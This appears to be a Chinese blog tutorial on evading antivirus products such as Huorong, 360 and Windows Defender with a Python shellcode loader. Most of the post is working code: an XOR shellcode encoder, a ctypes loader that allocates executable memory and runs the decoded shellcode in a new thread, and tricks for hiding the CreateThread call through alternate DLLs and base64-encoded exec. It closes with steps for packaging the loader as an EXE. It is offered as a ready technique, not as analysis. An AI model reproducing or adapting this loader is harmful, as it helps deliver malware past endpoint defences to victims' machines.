简单的手法过杀软
字数 1101 2025-08-29 08:31:41
Python免杀技术:绕过杀软的内存检测
前言
本文介绍了一种利用Python编写免杀脚本的技术,主要针对火绒、360和Windows Defender等杀毒软件。核心思路是通过Python的ctypes模块调用Windows API,结合简单的混淆技术来隐藏shellcode特征。
技术原理
免杀基本思路
- 特征码隐藏:杀毒软件主要依靠特征码检测恶意代码,通过混淆和加密隐藏原始特征
- 绕过内存写入监控:C语言中的内存操作函数(memcpy, memmove等)被严格监控,使用Python实现可绕过部分检测
- 动态链接库调用:通过不同DLL中的相同功能函数绕过特定API的检测
实现步骤
1. Shellcode混淆处理
使用简单的异或算法对原始shellcode进行混淆:
import argparse
def xorEncode(file, key, output):
xorShellcode = ""
shellcodeSize = 0
while True:
code = file.read(1)
if not code:
break
xor = ord(code) ^ key
xor_code = hex(xor).replace("0x", "")
if len(xor_code) == 1:
xor_code = f'0{xor_code}'
xorShellcode += f'\\x{xor_code}'
shellcodeSize += 1
file.close()
output.write(xorShellcode)
output.close()
print(f"shellcodeSize: {shellcodeSize}")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Python XOR Encoder")
parser.add_argument('-f', '--file', help="input raw file", type=argparse.FileType('rb'))
parser.add_argument('-k', '--key', help="xor key", type=int, default=50)
parser.add_argument('-o', '--output', help="output shellcode file", type=argparse.FileType('w+'))
args = parser.parse_args()
xorEncode(args.file, args.key, args.output)
2. 关键Windows API函数
使用ctypes调用的关键API函数:
-
VirtualAlloc - 申请可执行内存
LPVOID VirtualAlloc( LPVOID lpAddress, // 指定要分配的区域的期望起始地址 SIZE_T dwSize, // 要分配的堆栈大小 DWORD flAllocationType, // 类型的分配 DWORD flProtect // 内存的执行权限 );- flAllocationType参数:
MEM_COMMIT(0x00001000): 提交到物理内存MEM_REVERSE: 保留虚拟内存
- flProtect参数:
PAGE_EXECUTE_READWRITE(0x40): 可读可写可执行PAGE_READWRITE: 可读可写
- flAllocationType参数:
-
RtlMoveMemory - 内存复制
VOID RtlMoveMemory( VOID UNALIGNED *Destination, // 目标地址 CONST VOID UNALIGNED *Source, // 源内存块 SIZE_T Length // 内存块大小 ); -
CreateThread - 创建线程执行shellcode
HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性 SIZE_T dwStackSize, // 初始栈大小 LPTHREAD_START_ROUTINE lpStartAddress, // 线程函数地址 LPVOID lpParameter, // 线程参数 DWORD dwCreationFlags, // 创建线程标志 LPDWORD lpThreadId // 线程ID ); -
WaitForSingleObject - 等待线程执行
DWORD WaitForSingleObject( HANDLE hHandle, // 句柄 DWORD dwMilliseconds // 等待标志(INFINITE表示无限等待) );
3. 基础免杀实现
import ctypes
# xor shellcode
XorBuf = "混淆后的shellcode"
key = 35 # 异或密钥
# 还原shellcode
buf = bytearray([ord(XorBuf[i]) ^ key for i in range(len(XorBuf))])
# 获取kernel32
kernel32 = ctypes.windll.kernel32
kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请可执行内存
lpMemory = kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(buf)),
ctypes.c_int(0x00001000),
ctypes.c_int(0x40)
)
# 写入shellcode
buffer = (ctypes.c_char * len(buf)).from_buffer(buf)
kernel32.RtlMoveMemory(
ctypes.c_uint64(lpMemory),
buffer,
ctypes.c_int(len(buf))
)
# 创建线程执行
hThread = kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(lpMemory),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待线程执行
kernel32.WaitForSingleObject(hThread, -1)
4. 绕过CreateThread检测
杀毒软件可能检测kernel32.dll中的CreateThread调用,可以尝试:
-
使用不同DLL中的相同功能函数:
# 使用kernelbase.dll中的CreateThread kernelbase = ctypes.windll.kernelbase hThread = kernelbase.CreateThread(...) -
使用ntdll.dll中的ZwCreateThread:
ntdll = ctypes.windll.ntdll hThread = ntdll.ZwCreateThread(...) -
动态执行base64编码的代码:
import base64 # 加密关键代码 exec(base64.b64decode(b"aFRocmVhZCA9IGtlcm5lbGJhc2UuQ3JlYXRlVGhyZWFkKAogICAgY3R5cGVzLmNfaW50KDApLAogICAgY3R5cGVzLmNfaW50KDApLAogICAgY3R5cGVzLmNfdWludDY0KGxwTWVtb3J5KSwKICAgIGN0eXBlcy5jX2ludCgwKSwKICAgIGN0eXBlcy5jX2ludCgwKSwKICAgIGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkKKQ==").decode())
编译为可执行文件
推荐使用auto-py-to-exe工具将Python脚本编译为EXE文件:
-
安装auto-py-to-exe:
pip install auto-py-to-exe -
运行并配置:
auto-py-to-exe -
选择脚本文件,配置选项后编译
注意事项
- 特征码检测:不同杀毒软件检测点不同,可能需要尝试多种绕过方式
- DLL函数选择:不同DLL中的相同功能函数可能有不同的检测规则
- 代码混淆:关键代码可以进一步混淆或加密
- 沙箱检测:部分高级沙箱可能会检测动态行为
总结
这种免杀方法主要利用了:
- Python实现绕过对C语言内存操作的监控
- 简单的异或混淆隐藏shellcode特征
- 动态链接库函数的选择性调用绕过API检测
- 动态代码执行绕过静态分析
通过组合这些技术,可以有效绕过部分杀毒软件的检测机制。